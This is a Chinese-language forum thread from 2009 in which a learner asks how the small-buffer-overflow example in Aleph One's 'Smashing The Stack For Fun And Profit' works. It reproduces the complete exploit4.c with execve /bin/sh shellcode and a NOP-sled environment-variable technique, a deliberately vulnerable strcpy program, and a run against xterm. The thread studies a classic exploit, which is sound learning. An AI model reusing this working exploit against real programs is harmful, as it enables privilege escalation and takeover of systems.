免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1430 | 回复: 1
打印 上一主题 下一主题

请教下Smashing The Stack For Fun And Profit中一个例子 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2009-05-30 11:22 |只看该作者 |倒序浏览
原本发在c版  不过好像没人感兴趣 记得有人在这里发过类似的帖子 就再厚颜在这里把幼齿的问题再问一遍吧。。。。

原文链接:http://insecure.org/stf/smashstack.html

问题是原文的最后一个也就是第四个例子: Small Buffer Overflows 我看的不是很懂


  1. exploit4.c
  2. ------------------------------------------------------------------------------
  3. #include <stdlib.h>

  4. #define DEFAULT_OFFSET                    0
  5. #define DEFAULT_BUFFER_SIZE             512
  6. #define DEFAULT_EGG_SIZE               2048
  7. #define NOP                            0x90

  8. char shellcode[] =
  9.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  10.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  11.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  12. unsigned long get_esp(void) {
  13.    __asm__("movl %esp,%eax");
  14. }

  15. void main(int argc, char *argv[]) {
  16.   char *buff, *ptr, *egg;
  17.   long *addr_ptr, addr;
  18.   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  19.   int i, eggsize=DEFAULT_EGG_SIZE;

  20.   if (argc > 1) bsize   = atoi(argv[1]);
  21.   if (argc > 2) offset  = atoi(argv[2]);
  22.   if (argc > 3) eggsize = atoi(argv[3]);


  23.   if (!(buff = malloc(bsize))) {
  24.     printf("Can't allocate memory.\n");
  25.     exit(0);
  26.   }
  27.   if (!(egg = malloc(eggsize))) {
  28.     printf("Can't allocate memory.\n");
  29.     exit(0);
  30.   }

  31.   addr = get_esp() - offset;
  32.   printf("Using address: 0x%x\n", addr);

  33.   ptr = buff;
  34.   addr_ptr = (long *) ptr;
  35.   for (i = 0; i < bsize; i+=4)
  36.     *(addr_ptr++) = addr;

  37.   ptr = egg;
  38.   for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
  39.     *(ptr++) = NOP;

  40.   for (i = 0; i < strlen(shellcode); i++)
  41.     *(ptr++) = shellcode[i];

  42.   buff[bsize - 1] = '\0';
  43.   egg[eggsize - 1] = '\0';

  44.   memcpy(egg,"EGG=",4);
  45.   putenv(egg);
  46.   memcpy(buff,"RET=",4);
  47.   putenv(buff);
  48.   system("/bin/bash");
  49. }

  50. vulnerable.c
  51. ------------------------------------------------------------------------------
  52. void main(int argc, char *argv[]) {
  53.   char buffer[512];

  54.   if (argc > 1)
  55.     strcpy(buffer,argv[1]);
  56. }
复制代码

------------------------------------------------------------------------------

   Lets try our new exploit with our vulnerable test program:

------------------------------------------------------------------------------
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
------------------------------------------------------------------------------

   Works like a charm. Now lets try it on xterm:

------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name


思想我是明白的 缓冲区较小  无法存下shellcode 甚至都会覆盖返回地址  那么就把shellcode存在环境变量里  然后用环境变量的地址overflow整个buffer 这样就会使ret跳转到环境变量中去执行那段shellcode(没理解错吧)  但看代码我无法理解这一过程
它存在缓冲区中的地址是addr = get_esp() - offset  这是初始的esp地址  环境变量不是应该在最高地址空间附近么 离初始阶段的sp还是有一定距离的啊  我看不出来凭什么靠这个地址能跳转到环境变量  对于shellcode如何存到环境变量这一过程  我也比较疑惑  还有最后一个system("/bin/bash");  是因为子进程和父进程共享环境变量  所以通过这个新出来的bash来调用被攻击程序 从而共享环境变量么?
看的郁闷  哪位大牛能给讲讲

论坛徽章:
0
2 [报告]
发表于 2009-05-30 14:16 |只看该作者
有谁能解答一下我的疑惑么  我实在看不出来 存入buff的addr  和环境变量 以及shellcode的egg地址 有什么关系
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP